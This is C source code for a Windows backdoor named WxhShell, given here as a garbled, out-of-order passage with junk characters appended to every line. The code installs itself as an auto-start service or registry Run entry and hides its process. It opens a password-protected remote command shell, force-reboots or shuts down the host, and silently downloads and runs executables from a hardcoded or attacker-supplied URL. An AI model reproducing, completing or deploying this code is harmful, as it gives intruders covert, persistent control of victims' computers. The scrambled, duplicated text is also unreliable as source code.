    if(Boot(SHUTDOWN)) `a `>Mtl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yV*jc`1  
    else { |Iknk,  
    closesocket(wsh); kvG.?^ v  
    ExitThread(0); {l"(EeW6)  
    } *,|x p  
    break; 3i1TBhs6  
    } Ae\:{[c_D  
  // 获取shell 6WX?Xc]$3  
  case 's': { &=]!8z=  
    CmdShell(wsh); :nOI|\ rC  
    closesocket(wsh); a<J< Oc!  
    ExitThread(0); iPdS>e e  
    break; 21O@yNpS$  
  } V :/v r  
  // 退出 I?RUVs  
  case 'x': { I? ="Er[g}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iG#9 2e4  
    CloseIt(wsh); p:V1VHT,  
    break; M`n0 q y  
    } }kG>6_p?  
  // 离开 Rl&nR$#  
  case 'q': { tOX -vQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,xg-H6Xfa{  
    closesocket(wsh); T|,/C|L  
    WSACleanup(); %l?*w~x  
    exit(1); $*`E;}S0  
    break; &NOCRabc  
        } @?>5~  
  }  W_6gV  
  } fA"c9(>m%]  
Q zg?#|  
  // 提示信息 Hy5 6@jW+E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n-g#nEc:  
} _Wq;bKG  
  } 31\mF\{V  
Zv2]X-  
  return; G5%k.IRz  
} _0BQnzC=  
jn`5{ ]D  
// shell模块句柄 #"8'y  
int CmdShell(SOCKET sock) \H&;.??W  
{ fR?'HsQg  
STARTUPINFO si; &c}2[=  
ZeroMemory(&si,sizeof(si)); PjofW%7F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I@5$<SN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YC$>D? FW  
PROCESS_INFORMATION ProcessInfo; K4 -_a{)/  
char cmdline[]="cmd"; (|#%omLL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MV w.Fl  
  return 0; R13V }yL  
} U&43/;<,  
X"vDFE`?  
// 自身启动模式 I:w+lchAMe  
int StartFromService(void) 3,EtyJ3[Bh  
{ n a*Z0y  
typedef struct el\xMe^SY  
{ 2I|lY>Z  
  DWORD ExitStatus; YeVo=hYH@  
  DWORD PebBaseAddress; >6Jz=N,  
  DWORD AffinityMask; %mIdQQ,  
  DWORD BasePriority; u@P1`E1Q  
  ULONG UniqueProcessId; aK_k'4YTm  
  ULONG InheritedFromUniqueProcessId; dd6%3L{cn  
}   PROCESS_BASIC_INFORMATION; byTH SRt  
gLY15v4?  
PROCNTQSIP NtQueryInformationProcess; !@*= b1  
{6%-/$LX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; scTt53v^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kGL3*x  
'MW O3  
  HANDLE             hProcess; <EdNF&S-  
  PROCESS_BASIC_INFORMATION pbi; w+Gav4  
2R ^6L@fw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _0ZU I^#  
  if(NULL == hInst ) return 0; k)[c!\a[i  
}346uF7C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Bz|/TV?X(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  3bJ|L3G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I-=Ieq"R9  
_k;HhLj`  
  if (!NtQueryInformationProcess) return 0; 2G<XA  
Sn^M[}we  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t BG 9Mn  
  if(!hProcess) return 0; .;S1HOHz4  
d^v.tYM$N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k2.k}?w!JO  
L4ct2|w}ul  
  CloseHandle(hProcess); yY*(!^S  
Z$r7Hi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ur7S K(#  
if(hProcess==NULL) return 0; <:&{c-f/  
l_8ibLyo  
HMODULE hMod; <>Ha<4A =E  
char procName[255]; =(Y0wZP|  
unsigned long cbNeeded; mg>wv[ 7  
P!IXcPKW53  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2aX{r/Lc  
)=bW\=[8  
  CloseHandle(hProcess);  (^B=>  
?>I  
if(strstr(procName,"services")) return 1; // 以服务启动 V6h8+|hK  
ks %arm&  
  return 0; // 注册表启动 :t;i2Ck  
} -3y  
V#+F*w?&D  
// 主模块 d(@ ov^e-  
int StartWxhshell(LPSTR lpCmdLine) yW\kmv.O  
{ _3NH"o d  
  SOCKET wsl; 1~},}S]id  
BOOL val=TRUE; OF )*kiJ  
  int port=0; [Q\(k d*4  
  struct sockaddr_in door; 0LSJQ9\p  
D #7q3s  
  if(wscfg.ws_autoins) Install(); P2 qC[1hYH  
*cCj*Zr]  
port=atoi(lpCmdLine); kY6_n4  
]=]MJ3_7  
if(port<=0) port=wscfg.ws_port; ykH@kv Qt  
9'e<{mlM  
  WSADATA data; M;NIcM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s?&S<k-=fr  
Xy`'h5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R3LIN-g(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :zvAlt'q=  
  door.sin_family = AF_INET; ^<uQ9p^B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V]"pM]>3X  
  door.sin_port = htons(port); tA,J~|+f:  
HD1/1?y!@q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WTjmU=<\  
closesocket(wsl); vS[\ j  
return 1; ;Bw3@c  
} rz2,42H]  
"DH>4Q] d  
  if(listen(wsl,2) == INVALID_SOCKET) { U!K#g_}  
closesocket(wsl); QUfF>,[sv  
return 1; W7@Vma`  
} %`\Qtsape  
  Wxhshell(wsl); # JY>  
  WSACleanup(); "3|OB, <;:  
-j:yEZ4Oy  
return 0; GU9p'E  
.2_xTt   
} Ul'H(eH.v  
I)0_0JXs  
// 以NT服务方式启动 L/%{,7l<^?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -^;,m=4{3  
{ Uz[#ye  
DWORD   status = 0; NR-<2 e3  
  DWORD   specificError = 0xfffffff; B[ D s?:  
Bn=YGEvz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?'"BX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .3@Pz]\M#>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PlT_]p  
  serviceStatus.dwWin32ExitCode     = 0; ~r'ApeI9  
  serviceStatus.dwServiceSpecificExitCode = 0; ='C;^ Bk  
  serviceStatus.dwCheckPoint       = 0; @`Dh 7Q  
  serviceStatus.dwWaitHint       = 0; IG2z3(j  
86dz Jh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %da-/[  
  if (hServiceStatusHandle==0) return; zwP*7u$CH  
\%%M>4c  
status = GetLastError(); ;XlCd[J<  
  if (status!=NO_ERROR) Ex@}x#3  
{ 4cJ/XgX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *,*XOd:3TL  
    serviceStatus.dwCheckPoint       = 0; gw%L M7yQR  
    serviceStatus.dwWaitHint       = 0; :S!!J*0  
    serviceStatus.dwWin32ExitCode     = status; RzFxO  
    serviceStatus.dwServiceSpecificExitCode = specificError; Jw^my4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UlKg2p  
    return; l|vT[X/g  
  } "?W8 o[c+  
8]O#L}"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ! L3|5:j  
  serviceStatus.dwCheckPoint       = 0; bki:u  
  serviceStatus.dwWaitHint       = 0; 9>vB,8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &Fjyi"8(r  
} +&J1D8  
bxBndxl  
// 处理NT服务事件,比如:启动、停止 7 n^1H[q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cS@p`A7Tpo  
{ 8493O x4 O  
switch(fdwControl) i=pfjC  
{ </SO#g^r<  
case SERVICE_CONTROL_STOP: kE!ky\E  
  serviceStatus.dwWin32ExitCode = 0; +%~me?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sEZ2DnDI  
  serviceStatus.dwCheckPoint   = 0; |?MD>Pez  
  serviceStatus.dwWaitHint     = 0; A@4{-e\  
  { JRE\R&>g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -lq`EB +  
  } 0m\( @2E  
  return; HzuG- V  
case SERVICE_CONTROL_PAUSE: m`Z.xIA7;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ycvgF6Me<  
  break; BGOS(  
case SERVICE_CONTROL_CONTINUE: pL>Yx>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z8)&ekG  
  break; 8= 82x  
case SERVICE_CONTROL_INTERROGATE: =*>.z@WQ  
  break; eu$"GbqY  
}; +Mn(s36f2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D`.\c#;cN  
} qw)Ou]L=  
$"}*#<Z  
// 标准应用程序主函数 IF<T{/MA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |%3>i"Y@AK  
{ /5 OQ0{8p  
YdB/s1|G  
// 获取操作系统版本 MI.OOoP3a  
OsIsNt=GetOsVer(); U_E t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i3Xo6!Q  
AP4s_X+=  
  // 从命令行安装 Eq=JmO'gHs  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bi"cWO  
e ^`La*n  
  // 下载执行文件 8vfC  
if(wscfg.ws_downexe) { &Wk:>9]Jrb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kKDf%=  
  WinExec(wscfg.ws_filenam,SW_HIDE); o4LVG  
} C8 }=fa3u  
vNZ"x)?  
if(!OsIsNt) { e ]2GAJLI  
// 如果时win9x,隐藏进程并且设置为注册表启动 nf:wJ-;*  
HideProc(); 2uF'\y  
StartWxhshell(lpCmdLine); {W%XS E  
} oL!C(\ERh  
else 4Yt'I#*  
  if(StartFromService()) R+/kx#^  
  // 以服务方式启动 W*n|T{n  
  StartServiceCtrlDispatcher(DispatchTable); /R6\_oM  
else .R@XstQ  
  // 普通方式启动 BE0Xg  
  StartWxhshell(lpCmdLine); T)e Uo  
aqQ  U7  
return 0; 0j}@lOt(  
} bz [?M}  
BgB0   
[g=4'4EZc  
8M BY3F  
=========================================== wARd^Iw  
+vV?[e  
0[8uuqV[cB  
fN9uSnu  
<u?\%iJ"  
6\y?+H1  
" 'I>geW?{QK  
1p<*11  
#include <stdio.h> li#ep?5h^  
#include <string.h> [8 23w.{]#  
#include <windows.h> 6J cXhlB`  
#include <winsock2.h> wX!0KxR/Z  
#include <winsvc.h> SWT)M1O2  
#include <urlmon.h> "=$uv  
zW[HGI6w  
#pragma comment (lib, "Ws2_32.lib") VmXXj6l&  
#pragma comment (lib, "urlmon.lib") >]Dn,*R  
BXytAz3  
#define MAX_USER   100 // 最大客户端连接数 5UG"i_TC  
#define BUF_SOCK   200 // sock buffer (tiE%nF+  
#define KEY_BUFF   255 // 输入 buffer 6.|[;>Km  
.5A .[ZY)  
#define REBOOT     0   // 重启 NZ+TTMv  
#define SHUTDOWN   1   // 关机 "od 2i\  
=t|,6Vp  
#define DEF_PORT   5000 // 监听端口 7dR]$ ~+*e  
' wp _U /  
#define REG_LEN     16   // 注册表键长度 \"Qa)1 |  
#define SVC_LEN     80   // NT服务名长度 uOh  
LF+E5{=:R  
// 从dll定义API a?X@ D<.;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xF 3Z>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $j4/ohwTDY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &,\my-4c>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]7q|) S\  
EK\xc'6M  
// wxhshell配置信息 3]7j, 1^  
struct WSCFG { vSCJ xSt#e  
  int ws_port;         // 监听端口 xA0=C   
  char ws_passstr[REG_LEN]; // 口令 m;U_oxb  
  int ws_autoins;       // 安装标记, 1=yes 0=no C[><m2T  
  char ws_regname[REG_LEN]; // 注册表键名 F8\JL %  
  char ws_svcname[REG_LEN]; // 服务名 V~$?]Z%_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UI~hB4V$]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FgR9$ is+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FB3}M)G>M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q0g^%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S2#@j#\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aeEio;G1  
'<6DLtZl  
}; [88PCA:  
02YmV%  
// default Wxhshell configuration $Xs`'>,"  
struct WSCFG wscfg={DEF_PORT, YmHu8H_Q  
    "xuhuanlingzhe", o,/wE  
    1, Sb}=j;F  
    "Wxhshell", Kv ajk~  
    "Wxhshell", \Y6r !D9  
            "WxhShell Service", 6yC4rX!a  
    "Wrsky Windows CmdShell Service", RQ8;_)%  
    "Please Input Your Password: ", Lx| 0G $  
  1, #W4 "^#2  
  "http://www.wrsky.com/wxhshell.exe", T5dnj&N ]  
  "Wxhshell.exe" 0u +_D8G  
    }; ` :Oje  
Ian+0 ?`e  
// 消息定义模块 L08lkq,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %Vk77(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WM ]eb, 8q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8KsPAK_  
char *msg_ws_ext="\n\rExit."; NC sem  
char *msg_ws_end="\n\rQuit."; #1WCSLvtV  
char *msg_ws_boot="\n\rReboot..."; E9' 2_e  
char *msg_ws_poff="\n\rShutdown..."; fGWXUJ  
char *msg_ws_down="\n\rSave to "; ~{pds  
"kjSg7m*:  
char *msg_ws_err="\n\rErr!"; 8/lgM'Eux  
char *msg_ws_ok="\n\rOK!"; }q,dJE  
{W=5 J7  
char ExeFile[MAX_PATH]; )G*xI`(@  
int nUser = 0; -Q|]C{r  
HANDLE handles[MAX_USER]; ~"8r=8|  
int OsIsNt; bKEiS8x  
HI, `O  
SERVICE_STATUS       serviceStatus; ryb81.|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F(Je$c/J|~  
Q^X}7Z|T  
// 函数声明 dfh 1^Go  
int Install(void); yI / FD  
int Uninstall(void); Zh`[A9I/  
int DownloadFile(char *sURL, SOCKET wsh); b,>>E^wd!  
int Boot(int flag); 3u< ntx ><  
void HideProc(void); 2q*wYuc  
int GetOsVer(void); bHQ) :W  
int Wxhshell(SOCKET wsl); bGxHzzU}  
void TalkWithClient(void *cs); D&qJ@PR  
int CmdShell(SOCKET sock); oqzWL~  
int StartFromService(void); bV+2U  
int StartWxhshell(LPSTR lpCmdLine); ]Qe"S>,?`  
}]=@Y/p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L-%'jR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m^w{:\p  
NPDMv |4  
// 数据结构和表定义 TIK'A<  
SERVICE_TABLE_ENTRY DispatchTable[] = RYdI$&]  
{ {]$)dz5  
{wscfg.ws_svcname, NTServiceMain}, )_6W@s  
{NULL, NULL} ]zn3nhBI  
}; as@? Kv  
%AmyT  
// 自我安装 DVDzYR**4  
int Install(void) $)d34JM  
{ ~.tYYX<  
  char svExeFile[MAX_PATH]; R@U4Ae{+  
  HKEY key; AJ)&+H  
  strcpy(svExeFile,ExeFile); ;s-@m<  
p6ryUJc6  
// 如果是win9x系统,修改注册表设为自启动 45OAJ?N  
if(!OsIsNt) { nYe:$t3F=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9Q'[>P=1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p1W6s0L  
  RegCloseKey(key); R`B} T<*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #w:nj1{_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gEw9<Y  
  RegCloseKey(key); 0E)M6 jJ  
  return 0; "8~PfLJ+  
    } ,H1K sN  
  } }F|B'[wn  
} hE<Sm*HU  
else { }daU/  
Wfy+9"-;s  
// 如果是NT以上系统,安装为系统服务 ^x_$%8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KLG29G  
if (schSCManager!=0) YOUB%N9+  
{ = |2F?  
  SC_HANDLE schService = CreateService X#zp,7j?  
  ( 0& ?L%Y  
  schSCManager, :}-?X\|\  
  wscfg.ws_svcname, {WQ6=wGpS  
  wscfg.ws_svcdisp, vKfjP_0$  
  SERVICE_ALL_ACCESS, NK'@.=$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -!K&\hEjj  
  SERVICE_AUTO_START, k|{ 4"4r  
  SERVICE_ERROR_NORMAL, %jHe_8=o  
  svExeFile, 1U?5/Ja  
  NULL, H!>>|6OPF  
  NULL, v["_t/_  
  NULL, uBxoMxWm  
  NULL, \ FJ ae  
  NULL &gUa^5'#  
  ); 6Nt/>[  
  if (schService!=0) *||Q_tlz  
  { z7+>G/o  
  CloseServiceHandle(schService); 4YR{ *  
  CloseServiceHandle(schSCManager); Uv652DC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IW-|"5?9'  
  strcat(svExeFile,wscfg.ws_svcname); 96P&+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2+Oz$9`.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9hh~u -8L  
  RegCloseKey(key); n{&;@mgI  
  return 0; w'E?L`c  
    } b=U3&CV9  
  } p#_ 5w  
  CloseServiceHandle(schSCManager); GLX{EG9Z  
} EVC]B}  
} ayQeT  
drk BW}_  
return 1; Od:-fw  
} B^/k`h6J  
o\; hF3   
// 自我卸载 U<E]c 4*  
int Uninstall(void) uPjp5;V  
{ `uZMln @  
  HKEY key; Tu5p`p3-j  
+S`cUn7  
if(!OsIsNt) { UEhFId  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ect$g#  
  RegDeleteValue(key,wscfg.ws_regname); `S.I,<&  
  RegCloseKey(key); B2a#:E,6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /Ov1eQBNG  
  RegDeleteValue(key,wscfg.ws_regname); R/kJUl6HEl  
  RegCloseKey(key); L#J2J$ =  
  return 0; &`m$Zzl;  
  } #9F>21UU  
} E31Yk D.A  
} 7#NHPn  
else { 9v?@2sOoE  
!2^~ar{2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WuFBt=%  
if (schSCManager!=0) TdT`V f  
{ 5jUy[w @  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D$*o}*mb  
  if (schService!=0) Yl:[b{Py  
  { {cb<9Fii  
  if(DeleteService(schService)!=0) { ;r&Z?B$  
  CloseServiceHandle(schService); o*ucw3s>  
  CloseServiceHandle(schSCManager); 4nQ5zwiV  
  return 0; M ?AX:0  
  } 8FZC0j.^DH  
  CloseServiceHandle(schService); p>#q* eU5  
  } hUuKkUR+Ir  
  CloseServiceHandle(schSCManager); }`%ks  
} x<' $  
} K=nDC.  
fOME&$=O  
return 1; YbnXAi\y|  
} Px Gw5:  
9+xO2n  
// 从指定url下载文件 VJFFH\!`  
int DownloadFile(char *sURL, SOCKET wsh) r| )45@  
{ +8x_f0 <  
  HRESULT hr; DvB{N`COd  
char seps[]= "/"; '$EyVu!  
char *token; XgM&0lVT  
char *file; E`<ou_0N@q  
char myURL[MAX_PATH]; {K6Z.-.`  
char myFILE[MAX_PATH]; R/*"N'nH-%  
&43c/T Sb  
strcpy(myURL,sURL); ~G-W|>  
  token=strtok(myURL,seps); 9 wbQ$>G9  
  while(token!=NULL) 0fn*;f8{XJ  
  { MGxkqy?  
    file=token; ~!Nw]lb!  
  token=strtok(NULL,seps); 2|d^#8)ZC  
  } F&m9G >r  
WSN^iDS  
GetCurrentDirectory(MAX_PATH,myFILE); ?6hd(^  
strcat(myFILE, "\\"); q\|RI;W  
strcat(myFILE, file); x[&<e<6  
  send(wsh,myFILE,strlen(myFILE),0); iyd$_CJz  
send(wsh,"...",3,0); N)AlQ'Lwx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !H[01  
  if(hr==S_OK) 1q3"qY H  
return 0; G2?#MO  
else ey,f igjd.  
return 1; XWQ `]m)  
tHHJ|4C  
} R! On  
EP>Lh7E9n  
// 系统电源模块 ('UTjV  
int Boot(int flag) 4,Oa(b  
{ <\O8D0.d  
  HANDLE hToken; $eG_LY 1v  
  TOKEN_PRIVILEGES tkp; _X mxBtk9f  
6M_:D  
  if(OsIsNt) { bgKC^Q/F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FI.F6d)E$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Us!ZQ#pP  
    tkp.PrivilegeCount = 1; G &NK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZfH>UHft  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N N1}P'6Ha  
if(flag==REBOOT) { nqo1+OR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :KA)4[#;W  
  return 0; O(!; 7v}  
} h6^|f%\w*i  
else { sgGA0af  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -,T!/E  
  return 0; V,0$mBYa  
} dcD#!v\0  
  } & rD8ng+$  
  else { D4|Ajeo;1  
if(flag==REBOOT) { /4 OmnE;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r@qLG"[\c  
  return 0; PnInsf%;  
} Z"_8 l3  
else { unew XHA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1'Q6l  
  return 0; Rvx 7}ZL!  
} ( $2M"n  
} DuR9L'  
2IRARZ,3  
return 1; ?[m1?  
} AWx@Z7\z"g  
k{{3nenAG  
// win9x进程隐藏模块 KV|D]}  
void HideProc(void) *fI n<Cc  
{ 6w;`A9G[YI  
zow8 Q6f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V| kN 1 A  
  if ( hKernel != NULL ) &]RE 5!  
  { %=9o'Y,4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X' 5R4j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IF5-@hag,  
    FreeLibrary(hKernel); UH}lKc=t  
  } ~jzLw@"~$^  
:{iH(ae;  
return; @4 8!e-W  
} +$nNYD  
\G>C{v;  
// 获取操作系统版本 5[jS(1a`c  
int GetOsVer(void) 5X+`aB  
{ QOYMT( j  
  OSVERSIONINFO winfo; N{Z+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ej&.tNvq  
  GetVersionEx(&winfo); ,52 IR[I<T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [f6BA|   
  return 1; }u3|w0~c)  
  else Xb>SA|6[|  
  return 0; H1B%}G*Ir-  
} 0E!-G= v  
`'<$N<!  
// 客户端句柄模块 {}ADsh@7d'  
int Wxhshell(SOCKET wsl) WQ[n K5#  
{ tzGQo5\  
  SOCKET wsh; `4'=&c9  
  struct sockaddr_in client; R2a99#J  
  DWORD myID; R@z`  
2p\xgAW?  
  while(nUser<MAX_USER) wn!=G~nB  
{ 2&n6:"u|  
  int nSize=sizeof(client); YX-j|m|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X5VNj|IE  
  if(wsh==INVALID_SOCKET) return 1; +~iiy;i(  
ox&? `DO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eS@j? Y0y  
if(handles[nUser]==0) 8P- ay<6  
  closesocket(wsh); `vAcCahM  
else j,^&U|!  
  nUser++; Gg ~0>XS  
  } 1uj~/M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d]O:VghY\  
MQx1|>rG  
  return 0; gMF6f%  
} 7:pc%Ksq  
(1^;l;7H  
// 关闭 socket 6Yodx$  
void CloseIt(SOCKET wsh) 4jTO:aPh_  
{ y-nv#Ejr  
closesocket(wsh); SF+L-R<e  
nUser--; nCWoco.xy  
ExitThread(0); [O&}Qk  
} 2p](`Y`  
S%}G 8Ty  
// 客户端请求句柄 v"ORn5  
void TalkWithClient(void *cs) Q\kWQOB_  
{ >zX^*T#  
Q;y5E`G  
  SOCKET wsh=(SOCKET)cs; 9GCK3  
  char pwd[SVC_LEN]; )G^k$j  
  char cmd[KEY_BUFF]; ]-{ fr+  
char chr[1]; }aE'  
int i,j; xO>z )3A  
%|}*xMQ  
  while (nUser < MAX_USER) { Oj_]`  
qna!j|90Lp  
if(wscfg.ws_passstr) { )M+po-6$1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {!wW,3|Pu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7AT8QC`u  
  //ZeroMemory(pwd,KEY_BUFF); }#ta3 x  
      i=0; IS(F_< .  
  while(i<SVC_LEN) { QR"+fzOL  
9G SpDc  
  // 设置超时 Qe _{<E  
  fd_set FdRead; >xS({1A}  
  struct timeval TimeOut; nfHjIYid  
  FD_ZERO(&FdRead); fb`x1Q  
  FD_SET(wsh,&FdRead); ):>?N`{V  
  TimeOut.tv_sec=8; k6ry"W3  
  TimeOut.tv_usec=0; YAT@xZs-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7,p.M)t)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I1':&l^O  
E!1\9wzM{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r/AOgS  
  pwd=chr[0]; ^0|:  
  if(chr[0]==0xd || chr[0]==0xa) { d"db`8 ;S  
  pwd=0; dFw+nGN  
  break; F}45.C rD  
  } Bc }o3oc  
  i++; [T =>QS@g  
    } NN'pBU R  
|\uj(|  
  // 如果是非法用户,关闭 socket <dP \vLH_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i;C` .+  
} ef '?O  
=l/Dc=[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &gr 8;O:0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^_@[1'^  
~8nR3ki  
while(1) { EIQ3vOq6  
fiWN^sTM  
  ZeroMemory(cmd,KEY_BUFF); X [dfms;H  
;-~E !_$  
      // 自动支持客户端 telnet标准   ohKoX$|p~  
  j=0; JYw?  
  while(j<KEY_BUFF) { _"Ym]y28li  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lG'D/#  
  cmd[j]=chr[0]; 5|~g2Zz{;  
  if(chr[0]==0xa || chr[0]==0xd) { qqZ4K:oC,  
  cmd[j]=0; tT)s,R%  
  break; -~8PI2  
  } K% FK  
  j++; &t8,326;  
    } < r~hU*u  
CUH u=  
  // 下载文件 `K+%/|!  
  if(strstr(cmd,"http://")) { su=MMr>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }FS_"0  
  if(DownloadFile(cmd,wsh)) lmHQ"z 3G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iy]L"7&Z2  
  else S`5bcxI_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bi+M28m  
  } ]vf0f,F  
  else { +ho=0 >  
Mo N/?VA  
    switch(cmd[0]) { W3!-;l  
  <bhGpLh-E  
